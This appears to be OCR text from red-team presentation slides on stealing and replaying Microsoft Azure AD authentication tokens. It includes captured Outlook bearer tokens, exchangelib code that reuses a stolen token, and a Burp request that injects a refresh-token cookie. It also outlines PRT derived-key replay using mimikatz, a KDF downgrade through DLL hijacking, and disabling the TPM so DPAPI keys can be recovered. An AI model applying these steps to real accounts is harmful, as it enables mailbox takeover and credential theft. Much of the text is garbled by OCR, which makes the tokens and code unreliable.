2 6t57p-tc02C2nDQOkwk-RgUOt_v29jYIFppdFllotPcecyJIJ6TLT_MctZPFx8fmPvjfylJtEEbImdizIRhUYDtmz1jdMYM2bejayFiJlfNsz7w-goTsoUsLKACOtKQjMMt jnp3G9Z7N63u2TwKNpSARr1jpjq921HLOmfH
MW9EHkXc jFsm02azc4YU_eh_5Ndn1NToX37G-Pygdwoq-5HesvIEdWOiQOUDO10t9Vb082QIeNhnAWIYBf4vinl1Bwixj2HuHgFscfvbDUddShgx_1iUztJgMjlxVwMuGE7dPsiwIT5L)ye@lTEHf5FaPZ38wMVQP-jeq2xy
47v3Wj7BIsbMOfmdjSDZ53ToDkVxnBV6M2whpJpiuDG-F-FYJOX4VeRLWMXg1sJ13XEKKdmMvq91rMu6VP_mbz@KAZVKZLOJAStcOUfFBSfWS5vV2UEUIsJQA1u219LF8BbZPt fk-q_mwBA-z-iE8YnFugikzKr3-D1vVMga
EWngnNfWcZBX-5M_trXeDzpcw -1 https://outlook.office365.con [--Cl1ent d3590edb-52b3-4102-aett-aad2292ab0ic --tokens-stdout

{"tokenType": "Bearer", "expiresIn": 8959, "expiresOn": "2022-08-19 14:19:18.965792", "resource": "https://outlook.office365.com", "accessToken": "eyJ0eXAi0iJKV1QiLCJu
b25jZSI6I1VKkSEdRTZQwMULuLWM3VVIPTURBNXhOOVAZNHpIM3JZTVFhdo5SLUdCZz, 1 from exchangelib import Credentials, Accounq

YRUpsOGXWMFRPSSJ9. eyJhdwQiOiJodHRwczovL291dGxvb2sub2ZmaWN1IMzY1LmNvE
. XQi0jE2NjASMiM3MzksIm5iZiI6MTY2MDkyMzczOSwiZXhwI joxNjYwOTMyOTKSLCIt
UVZxMEMlelweTJPdkdhbTRHRERDYOQQNWZanFMUzYyRJchHpCeEc3aFlemRsQll
1I1w1YXBwaWQ101JkMzUSMGVkN101MmIzLTQxMDItYWVm211hYWQyMJkyYWIwMWMlL(
. 5hbWui0iJhbGZhdGVzdGVyIiwiaXBhZGRyIjoiMTY1LjIzMS42Ny4yMTkiLCIuYW1l]
TAwWMzIWMDIXQzYOMT1BQiIsInJoIjoiMC5BWDBBNXdXVVF1cWppVWVOeD1 jWHFKVXV:
ZWFkV3JpdGUgQ2FsZW5kYXJzLTI1YWRXcmlOZS5TaGFyZWQgQ29udGF jdHMuUmVhZFc
ZZXIuQWxsIEVvcFBzb3JXcy5BY2N1c3NBc1VzZXIuQWxsIEVXUySBY2N1c3NBc1vzZ) 9 my account = Account(
VhZFdyaXR1IElhaWwuUmVhZFdyaXR1LINoYXJ1ZCBNYWLsLIN1bmQgTWFpbC5TZW5kl 16 primary smtp address='myusername@example.com’', credentials=credentials,
UludGVybmFsL1VwZGF@ZSBOb3R1cy5SZWFKIESvdGVZLTITYWRXcmlOZSBPYWIUQWN: 11 autodiscover=True, access type=DELEGATE

. ZWFKIFB1b3BsZS5SZWFkV3JpdGUgUGxhY2UuUmVhZC5BbGwgUHIpdmlsZWd1LKVMVCE 12 )

XcmlOZSBUYXNrcyS5SZWFkV3IpdGUgVGFza3MuUmVhZFdyaXR1LINoYXJ1ZCBUb2RvLL 13

. TtSW50ZXJuYwwuUmVhZFdyaXR1Iiwic21kIjoiZjhmMwQ4sYjktZmQzYy@oMjEQLWES) 14  my account.root.refresh()
JQyOTQwYWU3LWEZZWEtNDC40$1hZGM3LWQ3MTdhODk1MmVJMCIsInVuaXF12V9uYW11 s my account.public folders root.refresh()
dXRpIJ01U3d1ddeSOF1RW1HUHpXT2NoleBQSIsInZlc1I6IJEuMCIsIndeHM101< 16 my account.archive root.refresh()

PN3ODIEzmp9MtN NwEsiGshsZ-w7Yo_WeB9BFC9vm-tohH31YSwU4vuFpn@IISKEK1] 17

' x _ZXLKA5ASRarw6NY9i7518tfKbxXCGLS9LHMASXqVTLqLULAKKDWhTZAE7Ka@J6Nkl 18 Allltems = my account.root / 'AllItems’
X9cXqJUuwNYOWdOzUgIBrv-q@ikqsBycAOc . AGABAAEAAAD--DLA3VO7Qrddglg7wey 19

LpeOoFAloyjQiLeR3W-NAUYYL6AWN-Ysy6FTaHJofIMGOTBDaX22WXHYEw9L6zpSUc]

d2WHpalBb7PS5ZQrpQGUV61wbLEp2BXYS1s60rv7epcwlk6T405d71d4ZLqY8egl1Sf:

ccODWNPEOSOFACOYQqfLDz_QcWepIHXKuKupim88bxYDJU2S-iRNOZFI97UAIH6LUMr

L N I ]

#credentials = Credentials(username='MYWINDOMAIN\\myuser', password='topsecret’)
jwt = "eyJhbGci0iJSUOEtTOFFUCISImMVuYyI6IKEXMjhDQkMtSFMyNTYiLCJ4NXQi0iIedV85Q...."

credentials = OAuth2AuthorizationCodeCredentials(client id='"', client secret=""
, access token= {"access token": token})

OoO~NOWDK s WN

T Wl T OFYT FT rT FT R L2
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Red Teaming — AAD.Brokerplugin

Request
PRT x-ms- q )
Raw Hex JSON Web Tokens — A

RefreshTokenCredential via BUrp 1 eost jcommon/oauthz/token Hrre/.1
+ Jython SC“pt (InsertpRpr) 2Host. loglr.x.mlcr_“osoftonllne.com‘

3 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.O0E)
4 Accept-Encoding: gzip, deflate

S|Accept: */*

6 Connection: close

7 |UA-CPU: AMDG4

8 Cookie: x-ms-RefreshTokenCredential=

eyJhbGec101JIUzI 1N1IsImNOeCI6I LFUa0ZvenFFS2FDd2tramoxR1 91Uks2TG1gSELYSUSQI 1wl a2RmX3Z1c1I6MiwidHLwI jo1S1ldUInG. eylyZ

WZyZXNoX3Rva2vul j o1 MCSBVHABMVVQY 2Q0b1 1UMGFKNLVUYm1PdGLOUGMOMXVEQO1ywk ptS1pFULREbHAZbZzhBT LUuQWdBQk FBRUFBQUQtLURMQT ..

. . NWT zdRemRk Z0pnN1d1dnJBZORzX3dRQT 1 QOWJ VRLIPY Vh6ZESOY k1 12G4tMnUOCVVOQXhKT UYL S1kOV1XaUJ OUF0zZ1 Db GhZREN3b 13 TUz JHVGF 1
Outlook.office365.com: -

PR ~—l . B T

E 5 w ;

.. browser -> outlook.office365.com ... -> OAUTH redirect to login.microsoftonline.com '’

,C‘..-..—H-.-.‘. ot m 21 i s et st —— b T

.. browser -> login.microsoftonline.com (burp inserts x—ms—RefreshTokenCredent‘.i:aI) -> Oauth code

. browser -> login.microsoftonline.com (Oauth code) -> redirect to outlook.offile365.com |

(l

vpn.company.com: (fortinet client) ! "
ez @ .
iNn.Microsofton eco

..User Fortinet client -> open browser with MS auth -> SAML request + redirect to

.. browser -> login.microsoftonline.com (burp inserts x—ms—RefreshTokenCre‘d\ehtiéf) -> SAML resp@nse -——

.. User Fortinet client vpn.company.com (SAML response) -> !
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PRT KDFvV1-MS Windows <

Derivedkey replay Attack:

Get derivedkey from target PC (mimikatz, powershell, c++) + custom context

Use PRT + derivedkey + custom context to direct auth (roadrecon —derived-key .....) |

PRT KDFv2-MS Windows >= Ty C
Downgrade KDFVv2 -> replay Attack: X 19

KDF is hardcoded in AAD.Core.dll (c:\Windows\SystemApps\Microsoft.AAD.BrokerPIugin_cW5n1h2txyewy\AAD.CovJe.dII) |

.. Just replace it with old version !

.. Trusted installer privs -> https:;//github.com/rara64/GetTrusted|nstaller
... DIl hijack taskshost.exe -> AAD.Core.dll

.. Edit AppManifest file



Red Teaming — AAD.Brokerplugin
PRT + TPM

Disable TPM -> Windows will use DPAPI -> DPAPIck3 + system masterkeys
.. disable TPM service in registry (reboot, relogin)

.. disable TPM driver in registry (reboot, relogin)

.. unload / delete TPM driver (relogin)

Disable TPM Keys -> Windows will use DPAPI -> DPAPIck3 + system masterkeys ¢ ( 4

MS Office ADAL
[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ldentity]
"DisableADALatopWAMOverride"=dword:0000000T1

"DisableAADWAM'"=dword:00000001
"EnableADAL"=dword:00000000

MS Edge
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Edge]

"BrowserSignin"=dword:00000000
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onclusion

NO

+100500 karma
= COO|

= Ccool x 2
> =Y

3HaueHne
N X b ( REG_SZ (3HayeHune He NPUCBOEHD)
) 3 ab] Account Name REG_SZ alfa.tester@bk.ru
r \eed to be prote(:ted ° : £ Account UID REG_BINARY €2 d4 b0 85 7f 1c cc 417 65 bb 28 64 02 23 b1
ab) clsi ‘ 1ED475411-BOD6- 2 )
Office Explorer A c|.|‘d REG_SZ {ED475411-BOD6-11D
Opti REG_BINARY ) 5 0a 83 9¢ b1 08 ee 82 80 00 00
ptions ;
Preferences v REG_BINARY 2 00 6d
\ REG_SZ
need to be p

0a0d0200000! 00 6 v REG_DWORD 0x000e!
13dbb0c8aa05101a9bb000aal02fc45a
c4192828607e225460 REG_BINARY 0 9d ¢f 0115 d1 11 8¢ 7a 00 c0 4f c2 97 eb 01

L4 B v
[ J | F M e S e a C | I to be CC) l lt r] l I ed 835b5131048343a7e9c42abal122940 24 POP3 Port REG_DWORD
r r I ; - > ‘- j 20|POP3 Server| zyienenme asomnuHoro napametpa
’ 228854153 #4)POP3 Use S
ab|pOP3 User | Mapametp

$i| Preferences | |POP3 Password

. AAD research to be continued m— | E

€
o] SMTP Use A
15| SMTP Use S

00000002

00000003




Microsoft cloud authentication tokens

there are no more secrets
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